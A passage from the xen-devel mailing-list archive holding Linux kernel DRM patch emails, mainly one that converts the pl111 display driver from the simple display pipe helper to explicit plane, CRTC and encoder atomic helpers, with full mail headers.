-#include <drm/drm_simple_kms_helper.h>
+#include <drm/drm_encoder.h>
 
 #ifndef _MCDE_DRM_H_
 #define _MCDE_DRM_H_
@@ -72,7 +72,9 @@ struct mcde {
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
 	struct drm_connector *connector;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 	struct mipi_dsi_device *mdsi;
 	bool dpi_output;
 	s16 stride;
@@ -95,7 +97,11 @@ struct mcde {
 	struct regulator *vana;
 };
 
-#define to_mcde(dev) container_of(dev, struct mcde, drm)
+static inline struct mcde *to_mcde(struct drm_device *dev)
+{
+	return container_of(dev, struct mcde, drm);
+}
+
 
 static inline bool mcde_flow_is_video(struct mcde *mcde)
 {
diff --git a/drivers/gpu/drm/mcde/mcde_drv.c b/drivers/gpu/drm/mcde/mcde_drv.c
index 5f2c462bad7e..401cf8ab83bc 100644
--- a/drivers/gpu/drm/mcde/mcde_drv.c
+++ b/drivers/gpu/drm/mcde/mcde_drv.c
@@ -186,8 +186,7 @@ static int mcde_modeset_init(struct drm_device *drm)
 	}
 
 	/* Attach the bridge. */
-	ret = drm_simple_display_pipe_attach_bridge(&mcde->pipe,
-						    mcde->bridge);
+	ret = drm_bridge_attach(&mcde->encoder, mcde->bridge, NULL, 0);
 	if (ret) {
 		dev_err(drm->dev, "failed to attach display output bridge\n");
 		return ret;

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:46:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:46:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371221.1618882 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nf-0006Se-GD; Sun, 26 Jul 2026 19:46:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371221.1618882; Sun, 26 Jul 2026 19:46:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nf-0006SX-DJ; Sun, 26 Jul 2026 19:46:15 +0000
Received: by outflank-mailman (input) for mailman id 1371221;
 Sun, 26 Jul 2026 19:46:13 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4nd-0006Nh-NZ
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:46:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4nd-009ZKg-4D
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:46:13 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666404-5cb7-0a2a0a5109dd-0a2a4509e246-0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:12 +0200
Received: from [205.220.180.131] (helo=mx0b-0031df01.pphosted.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a666403-be1a-0a2a45090019-cddcb483dc8e-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:12 +0200
Received: from pps.filterd (m0279869.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH7BBh1418807
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:11 GMT
Received: from mail-pj1-f71.google.com (mail-pj1-f71.google.com
 [209.85.216.71])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmm573sr8-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:10 +0000 (GMT)
Received: by mail-pj1-f71.google.com with SMTP id
 98e67ed59e1d1-38e7621655eso3815526a91.0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:46:10 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.46.01
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:46:08 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	clacQn0HSu1z79CFABkOBUZ2OqHW+qGyMnUN7jpUDD4=; b=gJwCKlbMjw0sXcyK
	kNEA67F8Zi5hFoUA7wSnRgjqCyUffWap3wU9Fqv2V0zjRrzjHmJfpO1wmEgcwtkQ
	wcGvM5KosDfUWaVwwEnXuohS8S2KquHm3ymymqzCFI3x8jCbjkcsVCcFPnCXk5CK
	ufeQ86v+0ejwOBQrykmAYbY5H5gWarINotb8o9E/H/YqclGSDzZNPb/n//3Z78T4
	cs20R9Rg91P2sOAX+bh88nkotlb71eSBbn+bVmLIOxHLzTg52pbF9t+r8a2I/rHZ
	1bL3H011mlKSaRW4msk9ixUDtSLddf/X4ZexPOZQPcvDwKiE6MZ2fnyZ4AnKYh9s
	o6VlPg==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095170; x=1785699970; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=clacQn0HSu1z79CFABkOBUZ2OqHW+qGyMnUN7jpUDD4=;
        b=DHql4Ck81uWGFlmhQoiP/4P6D3bOHQUOpZqLhEbxNuqfzazkEzsit5HZSH2x+2BMGs
         iKw8ce2CUTyQ5Rj5DxSdEf+kYk/lSHLaH9FoewDfGmugIUiwgBuctNF8wsf22rfEF3fK
         lSO/C+UNyj8aquQOWHMhmxZI1tsPPCHY2WlR4cuhFDyLI7tMraqJc/gS80ddkVWTKw44
         7qMhzcjDdaOA9p/Pm0uBgoGNj+znihukZuv2YIgnkS+DbvUxw0PwxAnTmDs1NgX57WGK
         1KJbIhMRbbX2MfB7nVETyBYdUeXgQ7k+uur0dpz3h3m5fUY5O6At5amn2xrS4XIHkINT
         DFCQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095170; x=1785699970;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=clacQn0HSu1z79CFABkOBUZ2OqHW+qGyMnUN7jpUDD4=;
        b=QZMxmM5AZDXQKySDAM8B/whgKvIeNUlbji+wl8qEcfwYww4DWZvurlbAQi9dR1t0lg
         PaeMjK9E81YUjBcaKaaGRo4jD7wvzP6rYjUjyw2kgf4E0ZVAMaXOqhAd7tva0TR2GgMD
         yRPCe+ymkDCEdYW7XkLFr0kAgglo7sEeD59lPnj+O4PEWTk2eN+tcjHf0/UM7JOsKMsf
         /LogXo9d2crCg8yKurlxCCN7WbGGcYplR2g0eZDGt1hvl2z9hNdFq0BenBRiPkqJSPKi
         LO7jJ6VMDqMSmGzEdtMv4meOqD4BGunRqezQtsQs8wTc3SfS9kDhz5XqCM83CVNMoNqJ
         V5IA==
X-Forwarded-Encrypted: i=1; AHgh+Rpfiyx/6Bkh8CPH6E4qP+7HCEouvzT7HGtbT9Q7g8w2vf8XMyBAXMfketCBRJliw/yDCzBgSTqUgbM=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy0pvSs5vuLxP2Un2WA/uYznVwYo1PlqQEpkUb0ubPGpJLa1rx9
	J0UChBNqAms1a16OGHzRyXQHGWvwtEkBafQb80IKThdY2ymLBf+YgZyz0Ks8AcT4ksgHUKeomu/
	lYlxjulgUchlMqwG4oc7g6BfM4jsREvStXzZVRnPawM28sOdByRbKiA6jbtEgfPXAFnW9QQ==
X-Gm-Gg: AR+sD10ycJehp6I4RfGccYAvW6Ute1+w0VNjdc6uyAlKrNZS6cN1wB8JnFlzqBvc20x
	5ek+Mg91KTIOpqaeozVMF3mKdD3kSDclmarnZerY6DIH7+/gcW4B1Wg+8XGfu/YIJ6anRn2CbqE
	z4yhmS+js65fifcDt0i/Uh97u1UGalaEUFjYETuDDbQwbexib3bMFtVOTy9mMBgQjAhckRC6yir
	TD0D87qxfVkSORkc6GTTMFlNdLBQdt9EAwaBZRx7QLxRmzG9ayeL7w24I5PzmOAe/LQcL+Q08Xn
	kWAOCTv8MAcn9ughcjqDOScTdsQRAOCMNuFKakZgbLhJRTWXeOQocTBfW1TeOYwXG0hnADCUXeo
	IfmRn0fXO7C3aUVkx+iyD
X-Received: by 2002:a17:90b:3c07:b0:38f:c71:2342 with SMTP id 98e67ed59e1d1-38f296654efmr5608772a91.31.1785095169674;
        Sun, 26 Jul 2026 12:46:09 -0700 (PDT)
X-Received: by 2002:a17:90b:3c07:b0:38f:c71:2342 with SMTP id 98e67ed59e1d1-38f296654efmr5608751a91.31.1785095169176;
        Sun, 26 Jul 2026 12:46:09 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:17 +0800
Subject: [PATCH v3 4/8] drm/pl111: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-4-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095129; l=12288;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=X5S7z45JI2K40L5SSsn2yXwWzFVoWLSs2lq3JPN5H98=;
 b=wSq5v+QX97IcZtlF6RZVgmqYpbp/ZoVuvTICre47QZKmdpnVv0hUa7eltsoyVewKvnfrC+vIn
 XF65x85tAomDRj1hGII5MPw4AQvkTU83CH3XuncW2ySISDUanEUHQVT
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfXxqYtKNq76lJR
 gRiZQhUVI+R/lzHFLQS4sxhkM7kOMAfonbKKYfhEDWHJE/cRqAQl1RCT36ra6oQRkxWlnUjONYi
 m2btu9/KvYmmk5xnAYSPKmfbcgP4s2I=
X-Proofpoint-GUID: Kl9eEzjk813KFXCVT-d1ZkZNdNZZLmkg
X-Authority-Analysis: v=2.4 cv=FOErAeos c=1 sm=1 tr=0 ts=6a666402 cx=c_pps
 a=UNFcQwm+pnOIJct1K4W+Mw==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=_glEPmIy2e8OvE2BGh3C:22
 a=EUspDBNiAAAA:8 a=GN3tbtG44s9npSNjvokA:9 a=QEXdDO2ut3YA:10
 a=uKXjsCUrEbL0IQVhDsJ9:22
X-Proofpoint-ORIG-GUID: Kl9eEzjk813KFXCVT-d1ZkZNdNZZLmkg
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX1bMwoon5xQ0X
 fXsShvIG5dBvoAPcWvczcmkjAvlpRKwYDa451ituyKNHrdAm5TEgJjzJPOfwHmmYpntJqruUCGH
 1iRgy6+Ro+CmntsNLgO8gFuC+ja3WZmoVHzBJFwJPKZ7E0NHNr4JM4jTW8CEO973UXx9g3XVGT4
 TN91N0KPLphZPKmJcN7dqVwULiGJ8grs+0H0tR/oMsELb9giJfOyQHXOW4BhBRCAwbFDaB7Kkot
 bRlFpbS53EuViNPF5kCZwKch3dGefpBnlrEn5Vv6ETQw32m0BNzm8/kg6UvERGHw0bCmGTz0GX8
 GaklS2yCQJe0fCvPwaPgJxYKDPdYZ05T9Rs9QntcQseAtugndATVAG/rZttviDJHC0UZqOJLjNk
 WXkgz1JFI6jclr5vD7MfvzZn5jv+14WahqsaJjDlw1rwkI5QA4qDAy/tjje6GlSrtgrXfW3Po4S
 JdQ+ZFiAXfHjjE3FuMA==
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 clxscore=1015 malwarescore=0 lowpriorityscore=0 bulkscore=0 phishscore=0
 adultscore=0 priorityscore=1501 spamscore=0 impostorscore=0 suspectscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-bad1c0/1785095172-FC212034-6144F2A7/0/0
X-purgate-type: clean
X-purgate-size: 12290

Replace the PL111 simple display pipe with explicit plane, CRTC and
encoder objects.

Move the existing timing, format and pitch validation into explicit
atomic check paths. Use commit-local plane state in the CRTC enable path
when reading framebuffer format state.

Move page-flip event handling to the CRTC commit path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Use commit-local plane state in the CRTC enable path.
---
 drivers/gpu/drm/pl111/pl111_display.c | 199 ++++++++++++++++++++++++----------
 drivers/gpu/drm/pl111/pl111_drm.h     |   5 +-
 drivers/gpu/drm/pl111/pl111_drv.c     |   3 +-
 3 files changed, 148 insertions(+), 59 deletions(-)

diff --git a/drivers/gpu/drm/pl111/pl111_display.c b/drivers/gpu/drm/pl111/pl111_display.c
index 5d10bc5fdf1f..deac1dee7838 100644
--- a/drivers/gpu/drm/pl111/pl111_display.c
+++ b/drivers/gpu/drm/pl111/pl111_display.c
@@ -15,6 +15,7 @@
 #include <linux/media-bus-format.h>
 #include <linux/of_graph.h>
 
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
 #include <drm/drm_framebuffer.h>
@@ -37,7 +38,7 @@ irqreturn_t pl111_irq(int irq, void *data)
 		return IRQ_NONE;
 
 	if (irq_stat & CLCD_IRQ_NEXTBASE_UPDATE) {
-		drm_crtc_handle_vblank(&priv->pipe.crtc);
+		drm_crtc_handle_vblank(&priv->crtc);
 
 		status = IRQ_HANDLED;
 	}
@@ -49,10 +50,10 @@ irqreturn_t pl111_irq(int irq, void *data)
 }
 
 static enum drm_mode_status
-pl111_mode_valid(struct drm_simple_display_pipe *pipe,
-		 const struct drm_display_mode *mode)
+pl111_crtc_helper_mode_valid(struct drm_crtc *crtc,
+			     const struct drm_display_mode *mode)
 {
-	struct drm_device *drm = pipe->crtc.dev;
+	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 	u32 cpp = DIV_ROUND_UP(priv->variant->fb_depth, 8);
 	u64 bw;
@@ -83,13 +84,34 @@ pl111_mode_valid(struct drm_simple_display_pipe *pipe,
 	return MODE_OK;
 }
 
-static int pl111_display_check(struct drm_simple_display_pipe *pipe,
-			       struct drm_plane_state *pstate,
-			       struct drm_crtc_state *cstate)
+static int pl111_plane_helper_atomic_check(struct drm_plane *plane,
+					   struct drm_atomic_commit *commit)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_crtc_state *cstate = NULL;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = old_pstate->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
+
+	if (pstate->crtc) {
+		cstate = drm_atomic_get_crtc_state(commit, pstate->crtc);
+		if (IS_ERR(cstate))
+			return PTR_ERR(cstate);
+	}
+
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
+
+	if (!pstate->visible)
+		return 0;
+
+	mode = &cstate->mode;
 
 	if (mode->hdisplay % 16)
 		return -EINVAL;
@@ -117,16 +139,15 @@ static int pl111_display_check(struct drm_simple_display_pipe *pipe,
 	return 0;
 }
 
-static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
-				 struct drm_crtc_state *cstate,
-				 struct drm_plane_state *plane_state)
+static void pl111_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, &priv->plane);
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_framebuffer *fb = plane_state->fb;
 	struct drm_connector *connector = priv->connector;
 	struct drm_bridge *bridge = priv->bridge;
 	bool grayscale = false;
@@ -355,9 +376,9 @@ static void pl111_display_enable(struct drm_simple_display_pipe *pipe,
 		drm_crtc_vblank_on(crtc);
 }
 
-static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
+static void pl111_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					     struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 	u32 cntl;
@@ -387,38 +408,43 @@ static void pl111_display_disable(struct drm_simple_display_pipe *pipe)
 	clk_disable_unprepare(priv->clk);
 }
 
-static void pl111_display_update(struct drm_simple_display_pipe *pipe,
-				 struct drm_plane_state *old_pstate)
+static void pl111_plane_helper_atomic_update(struct drm_plane *plane,
+					     struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
+	struct drm_device *drm = plane->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
-	struct drm_plane_state *pstate = plane->state;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
 	struct drm_framebuffer *fb = pstate->fb;
 
-	if (fb) {
-		u32 addr = drm_fb_dma_get_gem_addr(fb, pstate, 0);
+	if (!fb)
+		return;
 
-		writel(addr, priv->regs + CLCD_UBAS);
-	}
+	u32 addr = drm_fb_dma_get_gem_addr(fb, pstate, 0);
 
-	if (event) {
-		crtc->state->event = NULL;
+	writel(addr, priv->regs + CLCD_UBAS);
+}
 
-		spin_lock_irq(&crtc->dev->event_lock);
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0)
-			drm_crtc_arm_vblank_event(crtc, event);
-		else
-			drm_crtc_send_vblank_event(crtc, event);
-		spin_unlock_irq(&crtc->dev->event_lock);
-	}
+static void pl111_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = cstate->event;
+
+	if (!event)
+		return;
+
+	cstate->event = NULL;
+
+	spin_lock_irq(&crtc->dev->event_lock);
+	if (cstate->active && drm_crtc_vblank_get(crtc) == 0)
+		drm_crtc_arm_vblank_event(crtc, event);
+	else
+		drm_crtc_send_vblank_event(crtc, event);
+	spin_unlock_irq(&crtc->dev->event_lock);
 }
 
-static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int pl111_display_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 
@@ -427,21 +453,62 @@ static int pl111_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void pl111_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void pl111_display_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct pl111_drm_dev_private *priv = drm->dev_private;
 
 	writel(0, priv->regs + priv->ienb);
 }
 
-static struct drm_simple_display_pipe_funcs pl111_display_funcs = {
-	.mode_valid = pl111_mode_valid,
-	.check = pl111_display_check,
-	.enable = pl111_display_enable,
-	.disable = pl111_display_disable,
-	.update = pl111_display_update,
+static int pl111_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static struct drm_crtc_funcs pl111_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+};
+
+static const struct drm_crtc_helper_funcs pl111_crtc_helper_funcs = {
+	.mode_valid	= pl111_crtc_helper_mode_valid,
+	.atomic_check	= pl111_crtc_helper_atomic_check,
+	.atomic_enable	= pl111_crtc_helper_atomic_enable,
+	.atomic_disable	= pl111_crtc_helper_atomic_disable,
+	.atomic_flush	= pl111_crtc_helper_atomic_flush,
+};
+
+static const struct drm_plane_funcs pl111_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.reset			= drm_atomic_helper_plane_reset,
+	.destroy		= drm_plane_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_plane_helper_funcs pl111_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= pl111_plane_helper_atomic_check,
+	.atomic_update	= pl111_plane_helper_atomic_update,
+};
+
+static const struct drm_encoder_funcs pl111_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 static int pl111_clk_div_choose_div(struct clk_hw *hw, unsigned long rate,
@@ -583,18 +650,40 @@ int pl111_display_init(struct drm_device *drm)
 		return ret;
 
 	if (!priv->variant->broken_vblank) {
-		pl111_display_funcs.enable_vblank = pl111_display_enable_vblank;
-		pl111_display_funcs.disable_vblank = pl111_display_disable_vblank;
+		pl111_crtc_funcs.enable_vblank = pl111_display_enable_vblank;
+		pl111_crtc_funcs.disable_vblank = pl111_display_disable_vblank;
 	}
 
-	ret = drm_simple_display_pipe_init(drm, &priv->pipe,
-					   &pl111_display_funcs,
-					   priv->variant->formats,
-					   priv->variant->nformats,
-					   NULL,
-					   priv->connector);
+	ret = drm_universal_plane_init(drm, &priv->plane, 0,
+				       &pl111_plane_funcs,
+				       priv->variant->formats,
+				       priv->variant->nformats,
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&priv->plane, &pl111_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &priv->crtc, &priv->plane,
+					NULL, &pl111_crtc_funcs, NULL);
+	if (ret)
+		return ret;
+
+	drm_crtc_helper_add(&priv->crtc, &pl111_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &priv->encoder, &pl111_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
 	if (ret)
 		return ret;
 
+	priv->encoder.possible_crtcs = drm_crtc_mask(&priv->crtc);
+
+	if (priv->connector) {
+		ret = drm_connector_attach_encoder(priv->connector,
+						   &priv->encoder);
+		if (ret)
+			return ret;
+	}
+
 	return 0;
 }
diff --git a/drivers/gpu/drm/pl111/pl111_drm.h b/drivers/gpu/drm/pl111/pl111_drm.h
index d1fe756444ee..ec92a5a180a8 100644
--- a/drivers/gpu/drm/pl111/pl111_drm.h
+++ b/drivers/gpu/drm/pl111/pl111_drm.h
@@ -21,7 +21,6 @@
 #include <drm/drm_encoder.h>
 #include <drm/drm_gem.h>
 #include <drm/drm_panel.h>
-#include <drm/drm_simple_kms_helper.h>
 
 /*
  * CLCD Controller Internal Register addresses
@@ -135,7 +134,9 @@ struct pl111_drm_dev_private {
 	struct drm_connector *connector;
 	struct drm_panel *panel;
 	struct drm_bridge *bridge;
-	struct drm_simple_display_pipe pipe;
+	struct drm_plane plane;
+	struct drm_crtc crtc;
+	struct drm_encoder encoder;
 
 	void *regs;
 	u32 memory_bw;
diff --git a/drivers/gpu/drm/pl111/pl111_drv.c b/drivers/gpu/drm/pl111/pl111_drv.c
index ac7b1d12a0f5..f649c266c33a 100644
--- a/drivers/gpu/drm/pl111/pl111_drv.c
+++ b/drivers/gpu/drm/pl111/pl111_drv.c
@@ -168,8 +168,7 @@ static int pl111_modeset_init(struct drm_device *dev)
 		goto out_bridge;
 	}
 
-	ret = drm_simple_display_pipe_attach_bridge(&priv->pipe,
-						    bridge);
+	ret = drm_bridge_attach(&priv->encoder, bridge, NULL, 0);
 	if (ret)
 		return ret;
 

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:46:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:46:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371225.1618891 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nm-0006t8-O2; Sun, 26 Jul 2026 19:46:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371225.1618891; Sun, 26 Jul 2026 19:46:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nm-0006t1-KT; Sun, 26 Jul 2026 19:46:22 +0000
Received: by outflank-mailman (input) for mailman id 1371225;
 Sun, 26 Jul 2026 19:46:21 +0000
